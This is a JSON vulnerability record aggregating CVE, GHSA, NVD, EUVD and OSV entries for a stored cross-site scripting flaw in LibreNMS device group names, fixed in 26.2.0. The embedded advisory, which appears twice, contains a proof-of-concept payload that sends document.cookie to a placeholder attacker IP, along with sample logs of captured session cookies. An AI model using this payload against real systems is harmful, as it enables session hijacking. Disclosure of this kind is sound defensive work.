{"id":"CVE-2026-26991","aliases":["EUVD-2026-8340","GHSA-5pqf-54qp-32wx"],"status":"published","title":"LibreNMS vulnerable to Stored Cross-site Scripting through unsanitized /device-groups name","description":"LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. In versions 26.1.1 and below, the device group name is not sanitized, allowing attackers with admin privileges to perform Stored Cross-Site Scripting (XSS) attacks. When a user adds a device group, an HTTP POST request is sent to the Request-URI \"/device-groups\". The name of the newly created device group is stored in the value of the name parameter. After the device group is created, the entry is displayed along with relevant buttons such as Rediscover Devices, Edit, and Delete. This issue has been fixed in version 26.2.0.","severity":{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.0025,"percentile":0.16503,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2026-02-18T22:07:19Z","modified":"2026-10-28T02:30:47Z","fixes":[{"ecosystem":"Packagist","package":"librenms/librenms","fixed_in":["26.2.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"librenms/librenms","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"26.2.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"librenms/librenms","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"26.2.0"}]}],"versions":["1.19","1.20","1.20.1","1.21","1.22","1.22.01","1.23","1.24","1.25","1.26","1.27","1.28","1.29","1.30","1.30.01","1.31","1.31.01","1.31.02","1.31.03","1.32","1.32.01","1.33","1.33.01","1.34","1.35","1.36","1.36.01","1.37","1.38","1.39","1.40","1.41","1.42","1.42.01","1.43","1.44","1.45","1.46","1.47","1.48","1.48.1","1.49","1.50","1.50.1","1.51","1.52","1.53","1.53.1","1.54","1.55","1.56","1.57","1.58","1.58.1","1.59","1.60","1.61","1.62","1.62.1","1.62.2","1.63","1.64","1.64.1","1.65","1.65.1","1.66","1.67","1.68","1.69","1.70.0","1.70.1","21.1.0","21.10.0","21.10.1","21.10.2","21.11.0","21.12.0","21.12.1","21.2.0","21.3.0","21.4.0","21.5.0","21.5.1","21.6.0","21.7.0","21.8.0","21.9.0","21.9.1","22.1.0","22.10.0","22.11.0","22.12.0","22.2.0","22.2.1","22.2.2","22.3.0","22.4.0","22.4.1","22.5.0","22.6.0","22.7.0","22.8.0","22.9.0","23.1.0","23.1.1","23.10.0","23.11.0","23.2.0","23.4.0","23.4.1","23.5.0","23.6.0","23.7.0","23.8.0","23.8.1","23.8.2","23.9.0","23.9.1","24.1.0","24.10.0","24.10.1","24.11.0","24.12.0","24.2.0","24.3.0","24.4.0","24.4.1","24.5.0","24.6.0","24.7.0","24.8.0","24.8.1","24.9.0","24.9.1","25.1.0","25.10.0","25.11.0","25.12.0","25.2.0","25.3.0","25.4.0","25.5.0","25.6.0","25.7.0","25.8.0","25.9.0","25.9.1","26.1.0","26.1.1"]}],"products":[{"vendor":"librenms","product":"librenms"}],"references":[{"url":"https://github.com/librenms/librenms/security/advisories/GHSA-5pqf-54qp-32wx","tags":["x_refsource_CONFIRM","Exploit","Third Party Advisory","advisory","web"]},{"url":"https://github.com/librenms/librenms/pull/19041","tags":["x_refsource_MISC","Issue Tracking","fix","web"]},{"url":"https://github.com/librenms/librenms/commit/64b31da444369213eb4559ec1c304ebfaa0ba12c","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/librenms/librenms/releases/tag/26.2.0","tags":["x_refsource_MISC","Product","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26991","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-5pqf-54qp-32wx"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/26xxx/CVE-2026-26991.json","tags":["advisory"]},{"url":"https://github.com/librenms/librenms","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-26991","title":"LibreNMS vulnerable to Stored Cross-site Scripting through unsanitized /device-groups name","description":"LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. In versions 26.1.1 and below, the device group name is not sanitized, allowing attackers with admin privileges to perform Stored Cross-Site Scripting (XSS) attacks. When a user adds a device group, an HTTP POST request is sent to the Request-URI \"/device-groups\". The name of the newly created device group is stored in the value of the name parameter. After the device group is created, the entry is displayed along with relevant buttons such as Rediscover Devices, Edit, and Delete. This issue has been fixed in version 26.2.0.","status":"published","published":"2026-02-20T02:21:31.889Z","modified":"2026-02-20T16:35:40.195Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T13:38:32.13011Z"}],"euvd":[{"id":"EUVD-2026-8340","description":"LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. In versions 26.1.1 and below, the device group name is not sanitized, allowing attackers with admin privileges to perform Stored Cross-Site Scripting (XSS) attacks. When a user adds a device group, an HTTP POST request is sent to the Request-URI \"/device-groups\". The name of the newly created device group is stored in the value of the name parameter. After the device group is created, the entry is displayed along with relevant buttons such as Rediscover Devices, Edit, and Delete. This issue has been fixed in version 26.2.0.","status":"published","published":"2026-02-20T02:21:31Z","modified":"2026-02-20T16:35:40Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"updated_at":"2026-11-02T19:48:36.125178Z"}],"ghsa":[{"id":"GHSA-5pqf-54qp-32wx","title":"LibreNMS /device-groups name Stored Cross-Site Scripting","description":"### Summary\n**/device-groups name Stored Cross-Site Scripting**\n- HTTP POST\n- Request-URI(s): \"/device-groups\"\n- Vulnerable parameter(s): \"name\"\n- Attacker must be authenticated with \"admin\" privileges.\n- When a user adds a device group, an HTTP POST request is sent to the Request-URI \"/device-groups\". The name of the newly created device group is stored in the value of the name parameter.\n- After the device group is created, the entry is displayed along with some relevant buttons like Rediscover Devices, Edit, and Delete.\n\n### Details\nThe vulnerability exists as the name of the device group is not sanitized of HTML/JavaScript-related characters\nor strings. When the delete button is rendered, the following template is used to render the page:\n\n_resources/views/device-group/index.blade.php:_\n```\n@section('title', __('Device Groups'))\n@section('content')\n\u003cdiv class=\"container-fluid\"\u003e\n\u003cx-panel id=\"manage-device-groups-panel\"\u003e\n// [...Truncated...]\n@foreach($device_groups as $device_group)\n// [...Truncated...]\n\n\u003cbutton type=\"button\" class=\"btn btn-danger btn-\nsm\" title=\"{{ __('delete Device Group') }}\" aria-label=\"{{ __('Delete') }}\"\nonclick=\"delete_dg(this, '{{$device_group-\u003ename }}', '{{ route('device-groups.destroy', $device_group-\u003eid)\n}}')\"\u003e // using the device's name in the Delete button functionality without\nsanitizing for XSS related characters/strings\n```\n\nAs the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored\ncross-site scripting.\n\n### PoC\n- Login\n- Select Devices \u003e Manage Groups\n- Select New Device Group\n- Input 12345');var pt=new Image();pt.src='http://\u003cATTACKER_IP\u003e/cookie-\n- '.concat(document.cookie);document.body.appendChild(pt);delete_dg(this, '12345 into\n- the \"Name\" input box (change \u003cATTACKER_IP\u003e to be an the IP of an attacker controlled webserver)\n- Select \"access_points.accesspoint_id\" as the Conditional input\n- Input 1 into the Conditional value input box\n- Select Save\n- Select the Delete Icon for the newly created Device Group\n- Select OK\n- The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled\n- server, leaking the user's cookies.\n\n### Impact\nAttacker Controlled server's logs:\n```\n192.168.1.96 - - [10/Feb/2026:13:32:25 -0600] \"GET /cookie-\njqCookieJar_options=%7B%7D;%20SWIFT_cookieconsent=dismiss;%20CookieAuth=%5B%22emai\n\nl%40email.c.com%22%2C%22%242y%2410%24zI.%5C%2F5BHghPssddSOjH6.Eek%5C%2F0hQNm8DewYh\n\nLnQxXHlpw3abw4C74y%22%5D;%20XSRF-\nTOKEN=eyJpdiI6InkrSlpHNFZ3TjRXbXl5clQ2ZVBHOFE9PSIsInZhbHVlIjoiZTROUHRCcGhYRGU4dVJL\n\nZ2RUUTZ5VXlGZElMNjZoT0E2cGRNZzVDRmtVWTg5YTBGNzdpTU83YU1EZ3E3Tk1BTm5tNjYxTExUV1Z0Mj\nBLNUlqOVl4MlpGL21xdHh3MUJwYm1zT1RaQXJwR0w5YmVXTkdKQWNXUkNvL1J2SzVtcWMiLCJtYWMiOiI0\nZTc4YjVmMjhiYjc3YTA2MDI5NjJkOTgzMTJlYmVkNGVhOTg0ZjE4ZjRlMzY1NmFlMjNiNmUyNzhlN2QwOG\nI4IiwidGFnIjoiIn0%3D HTTP/1.1\" 404 492 \"http://192.168.1.121/\" \"Mozilla/5.0\n(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)\nChrome/144.0.0.0 Safari/537.36\"\n```","status":"published","published":"2026-02-18T22:07:19Z","modified":"2026-02-20T16:51:52Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:39:26.881079Z"}],"nvd":[{"id":"CVE-2026-26991","description":"LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. In versions 26.1.1 and below, the device group name is not sanitized, allowing attackers with admin privileges to perform Stored Cross-Site Scripting (XSS) attacks. When a user adds a device group, an HTTP POST request is sent to the Request-URI \"/device-groups\". The name of the newly created device group is stored in the value of the name parameter. After the device group is created, the entry is displayed along with relevant buttons such as Rediscover Devices, Edit, and Delete. This issue has been fixed in version 26.2.0.","status":"published","published":"2026-02-20T03:15:59.977Z","modified":"2026-06-17T10:26:30.04Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":4.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:06.63895Z"}],"osv":[{"id":"CVE-2026-26991","title":"LibreNMS vulnerable to Stored Cross-site Scripting through unsanitized /device-groups name","description":"LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. In versions 26.1.1 and below, the device group name is not sanitized, allowing attackers with admin privileges to perform Stored Cross-Site Scripting (XSS) attacks. When a user adds a device group, an HTTP POST request is sent to the Request-URI \"/device-groups\". The name of the newly created device group is stored in the value of the name parameter. After the device group is created, the entry is displayed along with relevant buttons such as Rediscover Devices, Edit, and Delete. This issue has been fixed in version 26.2.0.","status":"published","published":"2026-02-20T02:21:31.889Z","modified":"2026-10-28T02:30:47.265142547Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:44:59.80315Z"},{"id":"GHSA-5pqf-54qp-32wx","title":"LibreNMS /device-groups name Stored Cross-Site Scripting","description":"### Summary\n**/device-groups name Stored Cross-Site Scripting**\n- HTTP POST\n- Request-URI(s): \"/device-groups\"\n- Vulnerable parameter(s): \"name\"\n- Attacker must be authenticated with \"admin\" privileges.\n- When a user adds a device group, an HTTP POST request is sent to the Request-URI \"/device-groups\". The name of the newly created device group is stored in the value of the name parameter.\n- After the device group is created, the entry is displayed along with some relevant buttons like Rediscover Devices, Edit, and Delete.\n\n### Details\nThe vulnerability exists as the name of the device group is not sanitized of HTML/JavaScript-related characters\nor strings. When the delete button is rendered, the following template is used to render the page:\n\n_resources/views/device-group/index.blade.php:_\n```\n@section('title', __('Device Groups'))\n@section('content')\n\u003cdiv class=\"container-fluid\"\u003e\n\u003cx-panel id=\"manage-device-groups-panel\"\u003e\n// [...Truncated...]\n@foreach($device_groups as $device_group)\n// [...Truncated...]\n\n\u003cbutton type=\"button\" class=\"btn btn-danger btn-\nsm\" title=\"{{ __('delete Device Group') }}\" aria-label=\"{{ __('Delete') }}\"\nonclick=\"delete_dg(this, '{{$device_group-\u003ename }}', '{{ route('device-groups.destroy', $device_group-\u003eid)\n}}')\"\u003e // using the device's name in the Delete button functionality without\nsanitizing for XSS related characters/strings\n```\n\nAs the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored\ncross-site scripting.\n\n### PoC\n- Login\n- Select Devices \u003e Manage Groups\n- Select New Device Group\n- Input 12345');var pt=new Image();pt.src='http://\u003cATTACKER_IP\u003e/cookie-\n- '.concat(document.cookie);document.body.appendChild(pt);delete_dg(this, '12345 into\n- the \"Name\" input box (change \u003cATTACKER_IP\u003e to be an the IP of an attacker controlled webserver)\n- Select \"access_points.accesspoint_id\" as the Conditional input\n- Input 1 into the Conditional value input box\n- Select Save\n- Select the Delete Icon for the newly created Device Group\n- Select OK\n- The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled\n- server, leaking the user's cookies.\n\n### Impact\nAttacker Controlled server's logs:\n```\n192.168.1.96 - - [10/Feb/2026:13:32:25 -0600] \"GET /cookie-\njqCookieJar_options=%7B%7D;%20SWIFT_cookieconsent=dismiss;%20CookieAuth=%5B%22emai\n\nl%40email.c.com%22%2C%22%242y%2410%24zI.%5C%2F5BHghPssddSOjH6.Eek%5C%2F0hQNm8DewYh\n\nLnQxXHlpw3abw4C74y%22%5D;%20XSRF-\nTOKEN=eyJpdiI6InkrSlpHNFZ3TjRXbXl5clQ2ZVBHOFE9PSIsInZhbHVlIjoiZTROUHRCcGhYRGU4dVJL\n\nZ2RUUTZ5VXlGZElMNjZoT0E2cGRNZzVDRmtVWTg5YTBGNzdpTU83YU1EZ3E3Tk1BTm5tNjYxTExUV1Z0Mj\nBLNUlqOVl4MlpGL21xdHh3MUJwYm1zT1RaQXJwR0w5YmVXTkdKQWNXUkNvL1J2SzVtcWMiLCJtYWMiOiI0\nZTc4YjVmMjhiYjc3YTA2MDI5NjJkOTgzMTJlYmVkNGVhOTg0ZjE4ZjRlMzY1NmFlMjNiNmUyNzhlN2QwOG\nI4IiwidGFnIjoiIn0%3D HTTP/1.1\" 404 492 \"http://192.168.1.121/\" \"Mozilla/5.0\n(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)\nChrome/144.0.0.0 Safari/537.36\"\n```","status":"published","published":"2026-02-18T22:07:19Z","modified":"2026-02-22T23:22:01.964694Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:38.553953Z"}]}}